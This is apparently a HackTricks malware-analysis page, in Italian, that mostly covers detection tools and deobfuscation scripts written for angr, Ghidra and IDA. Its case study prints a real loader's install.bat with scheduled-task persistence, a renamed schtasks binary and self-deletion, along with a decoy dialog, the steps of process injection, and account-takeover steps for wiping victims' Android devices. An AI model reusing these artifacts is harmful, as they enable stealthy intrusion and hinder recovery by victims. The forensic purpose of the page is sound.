Analisi del malware

Reading time: 19 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cheatsheet per l'analisi forense

https://www.jaiminton.com/cheatsheet/DFIR/#

Servizi online

Strumenti antivirus e di rilevamento offline

Yara

Installazione

bash
sudo apt-get install -y yara

Preparare le regole

Usa questo script per scaricare e unire tutte le yara malware rules da github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crea la directory rules ed esegui lo script. Questo creerà un file chiamato malware_rules.yar che contiene tutte le yara rules per malware.

bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scansione

bash
yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Controlla la presenza di malware e crea yara rules

Puoi usare lo strumento YaraGen per generare yara rules da un binary. Consulta questi tutorial: Part 1, Part 2, Part 3

bash
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Installazione

sudo apt-get install -y clamav

Scansione

bash
sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa rileva potenzialmente capabilities dannose in eseguibili: PE, ELF, .NET. Troverà quindi cose come Att&ck tactics, o capabilities sospette come:

  • verifica errore OutputDebugString
  • eseguire come servizio
  • creare processo

Scaricalo nel Github repo.

IOCs

IOC significa Indicator Of Compromise. Un IOC è un insieme di condizioni che identificano alcuni software potenzialmente indesiderati o malware confermato. I Blue Teams usano questo tipo di definizione per cercare questo tipo di file dannosi nei loro sistemi e reti.
Condividere queste definizioni è molto utile: quando un malware viene identificato in un computer e viene creato un IOC per quel malware, altri Blue Teams possono usarlo per identificare il malware più velocemente.

Uno strumento per creare o modificare gli IOC è IOC Editor.
Puoi usare strumenti come Redline per cercare IOC definiti in un dispositivo.

Loki

Loki è uno scanner per Simple Indicators of Compromise.
La rilevazione si basa su quattro metodi di rilevamento:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) è un malware scanner per Linux rilasciato sotto la licenza GNU GPLv2, progettato per le minacce presenti negli ambienti di hosting condiviso. Utilizza dati sulle minacce provenienti da network edge intrusion detection systems per estrarre malware che vengono attivamente utilizzati negli attacchi e genera signatures per il rilevamento. Inoltre, i dati sulle minacce sono ricavati anche dalle segnalazioni degli utenti tramite la LMD checkout feature e dalle malware community resources.

rkhunter

Strumenti come rkhunter possono essere usati per controllare il filesystem alla ricerca di possibili rootkits e malware.

bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS è uno strumento che tenterà di trovare obfuscated strings all'interno degli eseguibili usando diverse tecniche.

PEpper

PEpper verifica alcune informazioni di base all'interno dell'eseguibile (binary data, entropy, URLs and IPs, alcune yara rules).

PEstudio

PEstudio è uno strumento che permette di ottenere informazioni su eseguibili Windows come imports, exports, headers, ma verificherà anche VirusTotal e troverà potenziali Att&ck techniques.

Detect It Easy(DiE)

DiE è uno strumento per rilevare se un file è encrypted e per trovare packers.

NeoPI

NeoPI è uno script Python che utilizza una varietà di metodi statistici per rilevare contenuti obfuscated e encrypted all'interno di file di testo/script. Lo scopo previsto di NeoPI è aiutare nella rilevazione di codice web shell nascosto.

php-malware-finder

PHP-malware-finder fa del suo meglio per rilevare obfuscated/dodgy code oltre a file che usano funzioni PHP spesso impiegate in malwares/webshells.

Apple Binary Signatures

Quando si analizza un malware sample si dovrebbe sempre verificare la firma del binario, poiché lo sviluppatore che l'ha firmato potrebbe essere già correlato al malware.

bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Tecniche di rilevamento

File Stacking

Se sai che una cartella contenente i file di un web server è stata aggiornata l'ultima volta in una certa data, controlla la data di creazione e modifica di tutti i file nel web server e se qualche data è sospetta, verifica quel file.

Linee base

Se i file di una cartella non dovrebbero essere stati modificati, puoi calcolare l'hash dei file originali della cartella e confrontarlo con quelli correnti. Qualsiasi elemento modificato sarà sospetto.

Analisi Statistica

Quando le informazioni sono salvate nei log, puoi controllare statistiche come quante volte ciascun file del web server è stato acceduto, dato che una web shell potrebbe essere uno dei file più frequentemente acceduti.


Telemetria nativa in-app Android (no root)

Su Android, puoi strumentare il codice nativo all'interno del processo dell'app target precaricando una piccola libreria di logging prima che altre librerie JNI si inizializzino. Questo fornisce visibilità precoce sul comportamento nativo senza hook a livello di sistema o root. Un approccio popolare è SoTap: inserire libsotap.so per l'ABI corretto nell'APK e iniettare una chiamata System.loadLibrary("sotap") all'inizio (es., static initializer o Application.onCreate), poi raccogliere i log da percorsi interni/esterni o usare Logcat come fallback.

Vedi la pagina Android native reversing per i dettagli sulla configurazione e i percorsi dei log:

Reversing Native Libraries


Deobfuscazione di stringhe native Android/JNI con angr + Ghidra

Alcuni malware Android e app protette da RASP nascondono i nomi e le signature dei metodi JNI decodificandoli a runtime prima di chiamare RegisterNatives. Quando l'istrumentazione con Frida/ptrace viene interrotta da anti-debug, puoi comunque recuperare il plaintext offline eseguendo il decoder interno al binario con angr e poi inserendo i risultati in Ghidra come commenti.

Idea chiave: trattare il decoder all'interno del .so come una funzione callable, eseguirlo sui blob di byte offuscati in .rodata e concretizzare i byte di output fino al primo \x00 (terminatore C-string). Mantieni angr e Ghidra usando la stessa image base per evitare discrepanze di indirizzi.

Panoramica del workflow

  • Triage in Ghidra: identifica il decoder e la sua convenzione di chiamata/argomenti in JNI_OnLoad e nella configurazione di RegisterNatives.
  • Esegui angr (CPython3) per eseguire il decoder per ogni stringa target ed esportare i risultati.
  • Annota in Ghidra: commenta automaticamente le stringhe decodificate in ogni punto di chiamata per una rapida ricostruzione JNI.

Triage in Ghidra (pattern JNI_OnLoad)

  • Applica i datatype JNI a JNI_OnLoad in modo che Ghidra riconosca le strutture JNINativeMethod.
  • Tipica JNINativeMethod secondo la documentazione Oracle:
c
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Cerca chiamate a RegisterNatives. Se la libreria costruisce il name/signature con una routine locale (e.g., FUN_00100e10) che fa riferimento a una tabella di byte statica (e.g., DAT_00100bf4) e prende parametri come (encoded_ptr, out_buf, length), quello è un target ideale per esecuzione offline.

angr setup (eseguire il decoder offline)

  • Carica il .so con la stessa base usata in Ghidra (esempio: 0x00100000) e disabilita l'auto-loading delle librerie esterne per mantenere lo stato ridotto.
Configurazione di angr ed esecuzione offline del decoder
python
import angr, json

project = angr.Project(
'/path/to/libtarget.so',
load_options={'main_opts': {'base_addr': 0x00100000}},
auto_load_libs=False,
)

ENCODING_FUNC_ADDR = 0x00100e10  # decoder function discovered in Ghidra

def decode_string(enc_addr, length):
# fresh blank state per evaluation
st = project.factory.blank_state()
outbuf = st.heap.allocate(length)
call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st)
ret_ptr = call(enc_addr, outbuf, length)  # returns outbuf pointer
rs = call.result_state
raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes)
return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore')

# Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
  • Su larga scala, crea una mappa statica dei call site agli argomenti del decoder (encoded_ptr, size). I wrapper possono nascondere gli argomenti, quindi puoi creare questa mappatura manualmente dagli xrefs di Ghidra se il recupero delle API è impreciso.
Decodifica in batch più call site con angr
python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Annota i siti di chiamata in Ghidra Opzione A: scrittore di commenti solo Jython (usa un JSON precomputato)

  • Poiché angr richiede CPython3, mantieni separate deobfuscazione e annotazione. Per prima cosa esegui lo script angr sopra per produrre decoded_strings.json. Poi esegui questo GhidraScript Jython per scrivere PRE_COMMENTs in ogni sito di chiamata (e includere il nome della funzione chiamante per contesto):
Script Jython per Ghidra per annotare le stringhe JNI decodificate
python
#@category Android/Deobfuscation
# Jython in Ghidra 10/11
import json
from ghidra.program.model.listing import CodeUnit

# Ask for the JSON produced by the angr script
f = askFile('Select decoded_strings.json', 'Load')
mapping = json.load(open(f.absolutePath, 'r'))  # keys as hex strings

fm = currentProgram.getFunctionManager()
rm = currentProgram.getReferenceManager()

# Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10
enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {}
for ref in rm.getReferencesTo(enc_addr):
if ref.getReferenceType().isCall():
from_addr = ref.getFromAddress()
fn = fm.getFunctionContaining(from_addr)
if fn:
callsite_to_fn[from_addr.getOffset()] = fn.getName()

# Write comments from JSON
for k_hex, s in mapping.items():
cs = int(k_hex, 16)
site = toAddr(cs)
caller = callsite_to_fn.get(cs, None)
text = s if caller is None else '%s @ %s' % (s, caller)
currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text)
print('[+] Annotated %d call sites' % len(mapping))

Option B: Single CPython script via pyhidra/ghidra_bridge

  • In alternativa, usa pyhidra o ghidra_bridge per pilotare l'API di Ghidra dallo stesso processo CPython che esegue angr. Questo permette di chiamare decode_string() e impostare immediatamente PRE_COMMENTs senza un file intermedio. La logica rispecchia lo script Jython: costruire una mappa callsite→function tramite ReferenceManager, decodificare con angr e impostare commenti.

Why this works and when to use it

  • L'esecuzione offline aggira RASP/anti-debug: non sono necessari ptrace o hook di Frida per recuperare le stringhe.
  • Allineare base_addr di Ghidra e angr (es. 0x00100000) assicura che gli indirizzi di funzione/dati corrispondano tra gli strumenti.
  • Procedura ripetibile per i decoder: tratta la trasformazione come una funzione pura, alloca un output buffer in uno stato nuovo, chiamalo con (encoded_ptr, out_ptr, len), poi concretizza tramite state.solver.eval e analizza C-strings fino a \x00.

Notes and pitfalls

  • Rispetta l'ABI/calling convention target. angr.factory.callable ne sceglie una in base all'arch; se gli argomenti risultano spostati, specifica cc esplicitamente.
  • Se il decoder si aspetta output buffer azzerati, inizializza outbuf con zeri nello stato prima della chiamata.
  • Per .so Android position-independent, fornisci sempre base_addr affinché gli indirizzi in angr corrispondano a quelli visti in Ghidra.
  • Usa currentProgram.getReferenceManager() per enumerare i call-xrefs anche se l'app avvolge il decoder dietro thin stubs.

For angr basics, see: angr basics


Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Le moderne famiglie di malware abusano pesantemente dell'obfuscation del Control-Flow Graph (CFG): invece di un jump/call diretto calcolano la destinazione a runtime ed eseguono un jmp rax o un call rax. Un piccolo dispatcher (tipicamente nove istruzioni) imposta il bersaglio finale a seconda dei flag CPU ZF/CF, rompendo completamente il recupero statico del CFG.

La tecnica — mostrata dal loader SLOW#TEMPEST — può essere sconfitta con un flusso di lavoro in tre passaggi che si basa solo su IDAPython e l'emulatore CPU Unicorn.

1. Localizzare ogni jump / call indiretto

python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Estrai il dispatcher byte-code

python
import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emularlo due volte con Unicorn

python
from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Esegui run(code,0,0) e run(code,1,1) per ottenere i target del branch false e true.

4. Ripristino di una direct jump / call

python
import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Dopo il patching, forza IDA a rianalizzare la funzione in modo che il CFG completo e l'output di Hex-Rays siano ripristinati:

python
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Etichetta le chiamate API indirette

Una volta che la destinazione reale di ogni call rax è nota, puoi indicare a IDA qual è in modo che i tipi dei parametri e i nomi delle variabili vengano recuperati automaticamente:

python
idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Benefici pratici

  • Ripristina il vero CFG → la decompilazione passa da 10 linee a migliaia.
  • Abilita string-cross-reference & xrefs, rendendo la ricostruzione del comportamento banale.
  • Gli script sono riutilizzabili: inseriscili in qualsiasi loader protetto dallo stesso trucco.

Loader basati su AutoIt: decrittazione .a3x, Task Scheduler masquerade e RAT injection

Questo pattern di intrusione concatena un MSI firmato, AutoIt loaders compilati in .a3x, e un Task Scheduler job che si maschera da app benigno.

MSI → custom actions → AutoIt orchestrator

Albero dei processi e comandi eseguiti dalle MSI custom actions:

  • MsiExec.exe → cmd.exe per eseguire install.bat
  • WScript.exe per mostrare un decoy error dialog
cmd
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (drops loader, imposta persistence, si auto-pulisce):

bat
@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (esca per l'utente):

vb
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Key artifacts and masquerade:

  • Posiziona AutoIt3.exe e IoKlTr.au3 in C:\Users\Public\Music
  • Copia schtasks.exe in hwpviewer.exe (si spaccia per Hangul Word Processor viewer)
  • Crea un'attività pianificata "IoKlTr" che viene eseguita ogni 1 minuto
  • LNK di avvio visibile come Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Colloca moduli sotto %APPDATA%\Google\Browser\ in sottocartelle contenenti adb o adv e li avvia tramite gli helper autoit.vbs/install.bat

Forensic triage tips:

  • Enumerazione schtasks: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Cerca copie rinominate di schtasks.exe co-locate con il Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Percorsi comuni: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Correlare la creazione di processi: AutoIt3.exe che genera processi legittimi di Windows (es., cleanmgr.exe, hncfinder.exe)

Loader AutoIt e decrittazione del payload .a3x → injection

  • I moduli AutoIt sono compilati con #AutoIt3Wrapper_Outfile_type=a3x e decifrano i payload incorporati prima di iniettarli in processi benigni.
  • Famiglie osservate: QuasarRAT (iniettato in hncfinder.exe) e RftRAT/RFTServer (iniettato in cleanmgr.exe), nonché moduli RemcosRAT (Remcos\RunBinary.a3x).
  • Schema di decrittazione: derivare una chiave AES tramite HMAC, decifrare il blob incorporato, quindi iniettare il modulo in chiaro.

Generic decryption skeleton (exact HMAC input/algorithm is family-specific):

python
import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Flusso comune di injection (stile CreateRemoteThread):

  • CreateProcess (suspended) del processo target (es., cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory con modulo/shellcode decrittato
  • CreateRemoteThread o QueueUserAPC per eseguire il payload

Idee per il hunting

  • AutoIt3.exe con genitore MsiExec.exe o WScript.exe che avvia utility di sistema
  • File con estensioni .a3x o AutoIt script runners in percorsi pubblici/scrivibili dall'utente
  • Attività pianificate sospette che eseguono AutoIt3.exe o binari non firmati da Microsoft, con trigger a livello di minuti

Account-takeover abuse of Android Find My Device (Find Hub)

Durante l'intrusione su Windows, gli operatori hanno usato credenziali Google rubate per cancellare ripetutamente i dispositivi Android della vittima, sopprimendo le notifiche mentre ampliavano l'accesso tramite il messenger desktop della vittima autenticato.

Passi degli operatori (da una sessione browser autenticata):

  • Controllare Google Account → Security → Your devices; selezionare Find My Phone → Find Hub (https://www.google.com/android/find)
  • Selezionare il dispositivo → reinserire la password Google → eseguire "Erase device" (factory reset); ripetere per ritardare il recupero
  • Opzionale: cancellare le e-mail di avviso nella casella collegata (es., Naver) per nascondere le notifiche di sicurezza

AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:

Adaptixc2 Config Extraction And Ttps

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks